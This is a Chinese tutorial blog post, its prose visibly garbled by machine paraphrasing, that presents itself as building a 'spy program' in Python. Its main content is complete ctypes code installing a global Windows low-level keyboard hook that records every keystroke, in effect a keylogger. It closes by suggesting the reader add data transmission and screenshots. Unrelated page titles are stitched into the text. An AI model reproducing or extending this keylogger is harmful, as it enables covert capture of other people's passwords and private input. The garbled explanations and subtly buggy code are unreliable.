IT教程 ·

使用Python打造一款特工程序

Redis5.x五种数据类型常见命令

知识点

此次我们运用python来打造一款特务程序

程序中会用到很多知识点,大抵分为四块

win32API  此处能够在MSDN上检察

Python基础重点在cpytes库的运用,运用要领请点击此处

C言语基础

Hook

程序的基础原理在于经由历程注册Hook,纪录体系事宜

那末什么是Hook呢

Hook 手艺又叫做钩子函数,体系在挪用函数之前,钩子程序就先捕捉该音讯,钩子函数先获得掌握权,这时候钩子函数既能够加工处置惩罚(转变)该函数的实行行动,还能够强迫完毕音讯的通报

注册Hook时我们须要先导入DLL库,在Python中我们运用ctypes来导入,导入要领以下

user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")

我们导入了user32.dll和kernel32.dll

这两个DLL有什么用途呢

user32.dll     是Windows用户界面相干运用程序接口,用于包含Windows处置惩罚,基础用户界面等特征,如建立窗口和发送音讯

  kernel32.dll  掌握着体系的内存治理、数据的输入输出操作和中断处置惩罚

流程部份

晓得了我们要运用什么样的东西,那末第一步应当怎么做呢

1.起首我们须要先注册Hook到体系上,经由历程user32.dll中的SetWindowsHookExA函数,我们能够在体系上注册钩子

HHOOK SetWindowsHookExA(
  int       idHook,
  HOOKPROC  lpfn,
  HINSTANCE hmod,
  DWORD     dwThreadId
);

经由历程检察文档我们看到SetWindowsHookExA函数的参数及参数范例如上所示,细致文档点击此链接检察

经由历程文档我们看到第一个参数idHook中填入钩子的范例

WH_KEYBOARD_LL的常量值为13代表的意义是看管初级键盘输入事宜,我们此处来监听键盘事宜

第二个参数lpfn代表指向钩子历程的指针,要填入钩子历程(函数),我们能够在此处来增加分外代码到达我们想要杀青的目标

第三个参数hmod示意为DLL句柄,我们能够运用kernel32中的GetModuleHandleW来猎取句柄

末了一个参数dwThreadId我们填入0代表与统一桌面上一切的线程关联

代码以下

user32.SetWindowsHookExA(13,handleProc,kernel32.GetModuleHandleW(),0)

怎样运用Python来编写我们的钩子历程呢,经由历程ctypes文档我们能够得知windows下运用WINFUNCTYPE来建立函数

此时我们发现有WINFUNCTYPE和CFUNCTYPE两个函数,详细要运用哪个呢,这两个的区别为

WINFUNCTYPE  为Windows下独占的,经由历程运用运用stdcall挪用商定的函数

CFUNCTYPE   运用规范C挪用商定的函数

HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))

由于我们挪用的是WH_KEYBOARD_LL,WH_KEYBOARD_LL会运用LowLevelKeyboardProc回调函数,同时我们也须要在Python定义它

LowLevelKeyboardProc数据结构以下

LRESULT CALLBACK LowLevelKeyboardProc(
  _In_ int    nCode,
  _In_ WPARAM wParam,
  _In_ LPARAM lParam
);

根据官方文档提醒 假如nCode小于零,则挂钩历程必须将音讯通报给CallNextHookEx函数,而无需进一步处置惩罚,而且应返回CallNextHookEx返回的值

我们转换为Python代码

class KBDLLHOOKSTRUCT(Structure):
    _fields_ = [
        ('vkCode', DWORD),
        ('scanCode', DWORD),
        ('flags', DWORD),
        ('time', DWORD),
        ('dwExtraInfo', DWORD)]

def hookProc(nCode, wParam, lParam):
    if nCode < 0:
        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
    else:
        # 此处插进去我们的代码
        pass
    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

末了在我们退出程序时还须要删除Hook,不然大批的Hook会使体系运转迟缓,虽然在Windows 7及更高版本上,该钩子会被寂静删除而不被挪用。运用程序没法晓得挂钩是不是已删除。我们照样主动举行删除

删除须要运用user32.dllUnhookWindowsHookEx,参数为Hook句柄

user32.UnhookWindowsHookEx(hooked)

下面贴上悉数代码

 1 import sys
 2 from ctypes import *
 3 from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM
 4 
 5 user32 = CDLL("user32.dll")
 6 kernel32 = CDLL("kernel32.dll")
 7 
 8 
 9 class KBDLLHOOKSTRUCT(Structure):
10     _fields_ = [
11         ('vkCode', DWORD),
12         ('scanCode', DWORD),
13         ('flags', DWORD),
14         ('time', DWORD),
15         ('dwExtraInfo', DWORD)]
16 
17 
18 def uninstallHookProc(hooked):
19     if hooked is None:
20         return
21     user32.UnhookWindowsHookEx(hooked)
22     hooked = None
23 
24 
25 def hookProc(nCode, wParam, lParam):
26     if nCode < 0:
27         return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
28     else:
29         if wParam == 256:
30             if 162 == lParam.contents.value:
31                 print("Ctrl pressed, call Hook uninstall()")
32                 uninstallHookProc(hooked)
33                 sys.exit(-1)
34             capsLock = user32.GetKeyState(20)
35             # kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
36             if lParam.contents.value==13:
37                 print("n")
38             elif capsLock:
39                 print(chr(lParam.contents.value),end="")
40             else:
41                 print(chr(lParam.contents.value+32),end="")
42     return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
43 
44 
45 def startKeyLog():
46     msg = MSG()
47     user32.GetMessageA(byref(msg), 0, 0, 0)
48 
49 
50 def installHookProc(hooked, pointer):
51     hooked = user32.SetWindowsHookExA(
52         13,
53         pointer,
54         kernel32.GetModuleHandleW(),
55         0
56     )
57     if not hooked:
58         return False
59     return True
60 
61 
62 HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
63 pointer = HOOKPROC(hookProc)
64 hooked = None
65 if installHookProc(hooked, pointer):
66     print("Hook installed")
67     try:
68         msg = MSG()
69         user32.GetMessageA(byref(msg), 0, 0, 0)
70     except KeyboardInterrupt as kerror:
71         uninstallHookProc(hooked)
72         print("Hook uninstall...")
73 else:
74     print("Hook installed error")

贴上我们的效果图

使用Python打造一款特工程序 IT教程 第1张

我们还能够再增加上分外的代码比方数据传输,截屏等等  ^_^

怎样想要相识更多的只是请点击这里把  => 地点

转载请附上原文出处链接及本声明

java架构之路-(微服务专题)feign的基本使用和nacos的配置中心

参与评论